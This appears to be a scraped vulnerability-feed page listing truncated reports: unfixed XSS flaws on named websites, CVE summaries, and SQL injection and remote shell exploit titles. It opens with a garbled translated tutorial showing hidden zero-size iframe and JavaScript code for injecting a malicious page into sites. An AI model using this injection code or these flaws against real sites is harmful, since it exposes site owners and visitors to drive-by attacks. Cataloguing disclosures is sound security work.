1 0 kind of hung it to the way-vulnerability warning-the black bar safety net

A:The frame hanging horse iframe src=address width=0 height=0/iframe II:the js file hanging horse First, the following code document. write"iframe width='0' height='0' src='address'/iframe"; 保存 为 xxx.js that The JS hung it to the code script language=javascript src=xxx. js/script Three:js...

Unfixed XSS vulnerability at un-bg.bg

Security researcher TurKPoweR, has submitted on 12/06/2009 a cross-site-scripting XSS vulnerability affecting un-bg.bg, which at the time of submission ranked 10492229 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/07/2009. It is currently...

Unfixed XSS vulnerability at www.darkstorm.co.uk

Security researcher 444Team, has submitted on 12/02/2009 a cross-site-scripting XSS vulnerability affecting www.darkstorm.co.uk, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/07/2009. It is currentl...

DEBIAN-CVE-2009-4078

Multiple cross-site scripting XSS vulnerabilities in Redmine 0.8.5 and earlier allow remote attackers to inject arbitrary web script or HTML via unspecified vectors...

Unfixed XSS vulnerability at www.herkel.net

Security researcher XPEHOTAC, has submitted on 11/03/2009 a cross-site-scripting XSS vulnerability affecting www.herkel.net, which at the time of submission ranked 9096678 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/07/2010. It is...

Unfixed XSS vulnerability at www.komandirovka.ru

Security researcher Xylitol, has submitted on 11/03/2009 a cross-site-scripting XSS vulnerability affecting www.komandirovka.ru, which at the time of submission ranked 40703 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/04/2009. It is...

Unfixed XSS vulnerability at www.uni-on.es

Security researcher 444Team, has submitted on 11/02/2009 a cross-site-scripting XSS vulnerability affecting www.uni-on.es, which at the time of submission ranked 1056454 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 30/06/2009. It is currentl...

Unfixed XSS vulnerability at forumkings.com

Security researcher Rockwell, has submitted on 21/10/2009 a cross-site-scripting XSS vulnerability affecting forumkings.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/07/2010. It is currently...

Unfixed XSS vulnerability at cercador.gencat.cat

Security researcher hades, has submitted on 10/07/2009 a cross-site-scripting XSS vulnerability affecting cercador.gencat.cat, which at the time of submission ranked 6814 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/12/2011. It is current...

Firefox 3.5.3 3.0.14 TreeColumns dangling pointer vulnerability

Mozilla Firefox before 3.0.14, and 3.5.x before 3.5.3, does not properly manage pointers for the columns aka TreeColumns of a XUL tree element, which allows remote attackers to execute arbitrary code via a crafted HTML document, related to a "dangling pointer vulnerability."...

Ed Charkow's Supercharged Linking SQL Injection

!/usr/bin/perl ========================================================================================== o Ed Charkow's Supercharged Linking Blind SQL Injection Exploit Software : Ed Charkow's Supercharged Linking Buy Script : http://www.infodepot3000.com/Scripts/content/superchargedlinking.html...

Unfixed XSS vulnerability at enews.mcot.net

Security researcher c0dy, has submitted on 22/08/2009 a cross-site-scripting XSS vulnerability affecting enews.mcot.net, which at the time of submission ranked 28397 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/12/2011. It is currently...

Portel 2008 - decide.php?patron Blind SQL Injection

Portel 2008 - decide.php?patron Blind SQL Injection ------------------------------------------------------------------------------ Portel patron Blind SQL-injection Vulnerability ------------------------------------------------------------------------------ + Author : Chip D3 Bi0s + Email :...

RunCMS 1.6.3 - Remote Shell Injection

RunCMS 1.6.3 - Remote Shell Injection !/usr/bin/perl RunCMS = 1.6.3 "double ext" remote shell injection exploit Note: you may upload files with double extension FCKEditor must be enabled for users by staker ------------------------------ mail: stakerathotmaildotit url: http://www.runcms.org...

Unfixed XSS vulnerability at dev.helma.org

Security researcher Viper.aT, has submitted on 07/01/2009 a cross-site-scripting XSS vulnerability affecting dev.helma.org, which at the time of submission ranked 611306 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/07/2010. It is currentl...

CVE-2009-2165

SerendipityNZ aka SimpleBoxes Serene Bach 2.20R and earlier, and 3.00 beta023 and earlier 3.x versions, uses a predictable session id, which makes it easier for remote attackers to hijack sessions via a modified id...

Unfixed XSS vulnerability at ready.mobi

Security researcher PaPPy, has submitted on 18/06/2009 a cross-site-scripting XSS vulnerability affecting ready.mobi, which at the time of submission ranked 56726 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 14/10/2010. It is currently...

Virtue Classifieds (category) SQL Injection Vulnerability

No description provided by source. CMS : Virtue Classifieds WEB : http://www.virtuenetz.com/classified/ Archivo : search.php Variable Tipo : GET Valor : category Tipo : SQL Injection Url : http:/www.site.com/search.php?category=SQLI PoC:...

Escon SupportPortal Pro 3.0 SQL Injection

Autor : OzX Sitio : Foro.Undersecurity.net Cms : Escon SupportPortal Pro Version : 3.0 Sitio: http://www.e-supportportal.com Tipo Vulnz : Blind Sql Injection Archivo : forum.php Parametro Vulnerable 1 : cat Parametro Vulnerable 2 : tid Source Vulnz forum.php: 60 - if$REQUEST"a"=="rss" 61 -...

Unfixed XSS vulnerability at www.deathswitch.com

Security researcher Uber0n, has submitted on 18/05/2009 a cross-site-scripting XSS vulnerability affecting www.deathswitch.com, which at the time of submission ranked 884058 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/12/2011. It is...